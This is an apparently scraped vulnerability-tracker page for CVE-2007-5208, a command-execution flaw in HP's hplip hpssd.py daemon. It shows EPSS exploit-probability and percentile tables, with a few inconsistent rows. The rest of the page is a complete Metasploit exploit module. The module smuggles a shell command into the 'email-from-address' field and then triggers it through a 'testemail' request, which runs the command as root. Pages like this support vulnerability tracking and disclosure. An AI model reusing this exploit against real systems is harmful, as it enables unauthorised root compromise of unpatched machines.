CVE-2007-5208 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	81.84%	–	–
2022-04-03	–	–	81.84%	–	–
2023-03-12	–	–	–	25.9%	–
2023-03-19	–	–	–	23.23%	–
2023-04-23	–	–	–	21.02%	–
2023-05-28	–	–	–	21.83%	–
2024-03-17	–	–	–	22.32%	–
2024-06-02	–	–	–	22.32%	–
2024-06-16	–	–	–	22.32%	–
2024-07-14	–	–	–	20.28%	–
2024-08-25	–	–	–	37.42%	–
2024-09-29	–	–	–	44.09%	–
2024-12-08	–	–	–	44.09%	–
2024-12-22	–	–	–	65.61%	–
2025-01-19	–	–	–	65.61%	–
2025-03-18	–	–	–	–	75.45%
2025-03-30	–	–	–	–	73.52%
2025-03-30	–	–	–	–	73.52,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	99%
2022-04-03	1%
2023-03-12	96%
2023-03-19	96%
2023-04-23	96%
2023-05-28	96%
2024-03-17	96%
2024-06-02	96%
2024-06-16	97%
2024-07-14	96%
2024-08-25	97%
2024-09-29	97%
2024-12-08	98%
2024-12-22	98%
2025-01-19	98%
2025-03-18	99%
2025-03-30	99%
2025-03-30	99%

## # $Id: hplip_hpssd_exec.rb 10617 2010-10-09 06:55:52Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'hplip hpssd.py From Address Arbitrary Command Execution', 'Description' => %q{ This module exploits a command execution vulnerable in the hpssd.py daemon of the Hewlett-Packard Linux Imaging and Printing Project. According to MITRE, versions 1.x and 2.x before 2.7.10 are vulnerable. This module was written and tested using the Fedora 6 Linux distribution. On the test system, the daemon listens on localhost only and runs with root privileges. Although the configuration shows the daemon is to listen on port 2207, it actually listens on a dynamic port. NOTE: If the target system does not have a 'sendmail' command installed, this vulnerability cannot be exploited. }, 'Author' => [ 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10617 $', 'References' => [ [ 'CVE', '2007-5208' ], [ 'OSVDB', '41693' ], [ 'BID', '26054' ], [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=319921' ], [ 'URL', 'https://bugzilla.redhat.com/attachment.cgi?id=217201&action=edit' ] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Privileged' => true, 'Payload' => { 'Space' => 1024, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', # *_perl and *_ruby work if they are installed # inetd isn't used on FC6/7 (xinetd is) # netcat doesn't have -e by default } }, 'Targets' => [ [ 'Automatic (hplip-1.6.7-4.i386.rpm)', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 04 2007' )) register_options( [ Opt::RPORT(2207), ], self.class) end def exploit connect #cmd = "nohup " + payload.encoded cmd = payload.encoded username = 'root' toaddr = 'nosuchuser' # first setalerts print_status("Sending 'setalerts' request with encoded command line...") msg = "username=#{username}\n" + "email-alerts=1\n" + #"email-from-address=`#{cmd}`\n" + "email-from-address=x;#{cmd};\n" + "email-to-addresses=#{toaddr}\n" + "msg=setalerts\n" sock.put(msg) # next, the test email command print_status("Sending 'testemail' request to trigger execution...") msg = "msg=testemail\n" sock.put(msg) end end